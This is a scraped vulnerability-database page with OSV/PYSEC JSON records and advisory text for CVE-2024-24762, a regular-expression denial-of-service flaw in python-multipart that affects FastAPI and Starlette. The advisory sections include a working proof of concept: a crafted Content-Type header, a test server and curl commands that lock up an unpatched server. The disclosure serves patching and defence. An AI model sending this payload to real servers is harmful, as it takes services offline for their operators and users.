      "type": "WEB",
      "url": "https://github.com/tiangolo/fastapi/security/advisories/GHSA-qf9m-vfgh-m389"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24762"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/python-multipart/commit/20f0ef6b4e4caf7d69a667c54dff57fe467109a4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tiangolo/fastapi/commit/9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/fastapi/PYSEC-2024-38.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tiangolo/fastapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tiangolo/fastapi/releases/tag/0.109.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: FastAPI Content-Type Header ReDoS",
  "withdrawn": "2024-02-16T23:37:39Z"
}

PYSEC-2024-38

Vulnerability from pysec - Published: 2024-02-05 15:15 - Updated: 2024-02-16 18:22

Details

FastAPI is a web framework for building APIs with Python 3.8+ based on standard Python type hints. When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options. An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests. It's a ReDoS(Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This vulnerability has been patched in version 0.109.1.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impacted products

Name	purl
fastapi	pkg:pypi/fastapi

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fastapi",
        "purl": "pkg:pypi/fastapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc"
            }
          ],
          "repo": "https://github.com/tiangolo/fastapi",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.109.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.0",
        "0.1.10",
        "0.1.11",
        "0.1.12",
        "0.1.13",
        "0.1.14",
        "0.1.15",
        "0.1.16",
        "0.1.17",
        "0.1.18",
        "0.1.19",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "0.10.0",
        "0.10.1",
        "0.10.2",
        "0.100.0",
        "0.100.0b1",
        "0.100.0b2",
        "0.100.0b3",
        "0.100.1",
        "0.101.0",
        "0.101.1",
        "0.102.0",
        "0.103.0",
        "0.103.1",
        "0.103.2",
        "0.104.0",
        "0.104.1",
        "0.105.0",
        "0.106.0",
        "0.107.0",
        "0.108.0",
        "0.109.0",
        "0.11.0",
        "0.12.0",
        "0.12.1",
        "0.13.0",
        "0.14.0",
        "0.15.0",
        "0.16.0",
        "0.17.0",
        "0.18.0",
        "0.19.0",
        "0.2.0",
        "0.2.1",
        "0.20.0",
        "0.20.1",
        "0.21.0",
        "0.22.0",
        "0.23.0",
        "0.24.0",
        "0.25.0",
        "0.26.0",
        "0.27.0",
        "0.27.1",
        "0.27.2",
        "0.28.0",
        "0.29.0",
        "0.29.1",
        "0.3.0",
        "0.30.0",
        "0.30.1",
        "0.31.0",
        "0.32.0",
        "0.33.0",
        "0.34.0",
        "0.35.0",
        "0.36.0",
        "0.37.0",
        "0.38.0",
        "0.38.1",
        "0.39.0",
        "0.4.0",
        "0.40.0",
        "0.41.0",
        "0.42.0",
        "0.43.0",
        "0.44.0",
        "0.44.1",
        "0.45.0",
        "0.46.0",
        "0.47.0",
        "0.47.1",
        "0.48.0",
        "0.49.0",
        "0.49.1",
        "0.49.2",
        "0.5.0",
        "0.5.1",
        "0.50.0",
        "0.51.0",
        "0.52.0",
        "0.53.0",
        "0.53.1",
        "0.53.2",
        "0.54.0",
        "0.54.1",
        "0.54.2",
        "0.55.0",
        "0.55.1",
        "0.56.0",
        "0.56.1",
        "0.57.0",
        "0.58.0",
        "0.58.1",
        "0.59.0",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.6.3",
        "0.6.4",
        "0.60.0",
        "0.60.1",
        "0.60.2",
        "0.61.0",
        "0.61.1",
        "0.61.2",
        "0.62.0",
        "0.63.0",
        "0.64.0",
        "0.65.0",
        "0.65.1",
        "0.65.2",
        "0.65.3",
        "0.66.0",
        "0.66.1",
        "0.67.0",
        "0.68.0",
        "0.68.1",
        "0.68.2",
        "0.69.0",
        "0.7.0",
        "0.7.1",
        "0.70.0",
        "0.70.1",
        "0.71.0",
        "0.72.0",
        "0.73.0",
        "0.74.0",
        "0.74.1",
        "0.75.0",
        "0.75.1",
        "0.75.2",
        "0.76.0",
        "0.77.0",
        "0.77.1",
        "0.78.0",
        "0.79.0",
        "0.79.1",
        "0.8.0",
        "0.80.0",
        "0.81.0",
        "0.82.0",
        "0.83.0",
        "0.84.0",
        "0.85.0",
        "0.85.1",
        "0.85.2",
        "0.86.0",
        "0.87.0",
        "0.88.0",
        "0.89.0",
        "0.89.1",
        "0.9.0",
        "0.9.1",
        "0.90.0",
        "0.90.1",
        "0.91.0",
        "0.92.0",
        "0.93.0",
        "0.94.0",
        "0.94.1",
        "0.95.0",
        "0.95.1",
        "0.95.2",
        "0.96.0",
        "0.96.1",
        "0.97.0",
        "0.98.0",
        "0.99.0",
        "0.99.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-24762",
    "GHSA-qf9m-vfgh-m389"
  ],
  "details": "FastAPI is a web framework for building APIs with Python 3.8+ based on standard Python type hints. When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can\u0027t handle any more requests. It\u0027s a ReDoS(Regular expression Denial of Service), it only applies to those reading form data, using `python-multipart`. This vulnerability has been patched in version 0.109.1.",
  "id": "PYSEC-2024-38",
  "modified": "2024-02-16T18:22:32.607118+00:00",
  "published": "2024-02-05T15:15:00+00:00",
  "references": [
    {
      "type": "EVIDENCE",
      "url": "https://github.com/tiangolo/fastapi/security/advisories/GHSA-qf9m-vfgh-m389"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/tiangolo/fastapi/security/advisories/GHSA-qf9m-vfgh-m389"
    },
    {
      "type": "FIX",
      "url": "https://github.com/tiangolo/fastapi/commit/9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tiangolo/fastapi/releases/tag/0.109.1"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

PYSEC-2026-1850

Vulnerability from pysec - Published: 2026-07-07 11:45 - Updated: 2026-07-07 17:25

Details

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator

from multipart.multipart import parse_options_header


def simple_app(environ, start_response):
    _, _ = parse_options_header(environ["CONTENT_TYPE"])

    start_response("200 OK", [("Content-type", "text/plain")])
    return [b"Ok"]


httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'

Impact

This is a ReDoS, (Regular expression Denial of Service), so it only applies to those using python-multipart to read form data, such as Starlette and FastAPI.

Original Report

This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI Hey Tiangolo! My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON). Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100% You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server. If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data. Cheers #### Impact An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data. #### Occurrences [params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impacted products

Name	purl
python-multipart	pkg:pypi/python-multipart

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-multipart",
        "purl": "pkg:pypi/python-multipart"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.2",
        "0.0.3",
        "0.0.4",
        "0.0.5",
        "0.0.6"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-24762",
    "GHSA-2jv5-9r88-3w3p"
  ],
  "details": "### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can\u0027t handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\n### PoC\n\nCreate a simple WSGI application, that just parses the `Content-Type`, and run it with `python main.py`:\n\n```Python\n# main.py\nfrom wsgiref.simple_server import make_server\nfrom wsgiref.validate import validator\n\nfrom multipart.multipart import parse_options_header\n\n\ndef simple_app(environ, start_response):\n    _, _ = parse_options_header(environ[\"CONTENT_TYPE\"])\n\n    start_response(\"200 OK\", [(\"Content-type\", \"text/plain\")])\n    return [b\"Ok\"]\n\n\nhttpd = make_server(\"\", 8123, validator(simple_app))\nprint(\"Serving on port 8123...\")\nhttpd.serve_forever()\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8123/\u0027\n```\n\n### Impact\n\nThis is a ReDoS, (Regular expression Denial of Service), so it only applies to those using python-multipart to read form data, such as Starlette and FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name\u0027s Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I\u0027m using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nI\u0027m running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/submit/\u0027\n```\n\nYou\u0027ll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you\u0027ll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you\u0027ll see it isn\u0027t vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e",
  "id": "PYSEC-2026-1850",
  "modified": "2026-07-07T17:25:14.567427Z",
  "published": "2026-07-07T11:45:32.513395Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-2jv5-9r88-3w3p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24762"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/4829"
    },
    {
      "type": "FIX",
      "url": "https://github.com/Kludex/python-multipart/commit/20f0ef6b4e4caf7d69a667c54dff57fe467109a4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tiangolo/fastapi/commit/9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kludex/python-multipart"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/fastapi/PYSEC-2024-38.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tiangolo/fastapi/releases/tag/0.109.1"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/python-multipart"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-2jv5-9r88-3w3p"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "python-multipart vulnerable to Content-Type Header ReDoS"
}

brew-aider-cve-2024-24762

Vulnerability from osv_homebrew

Tags

Sightings

Nomenclature

Related by attack behaviour

Action not permitted

brew-aider-cve-2024-24762

Vulnerability from osv_homebrew

CVE-2024-24762 (GCVE-0-2024-24762)

GHSA-2JV5-9R88-3W3P

Summary

Details

PoC

Impact

Original Report

GHSA-QF9M-VFGH-M389

Duplicate Advisory

Original Description

Summary

Details

PoC

Stopping it

Impact

Original Report

PYSEC-2024-38

PYSEC-2026-1850

Summary

Details

PoC

Impact

Original Report

Tags

Sightings

Nomenclature

Related by attack behaviour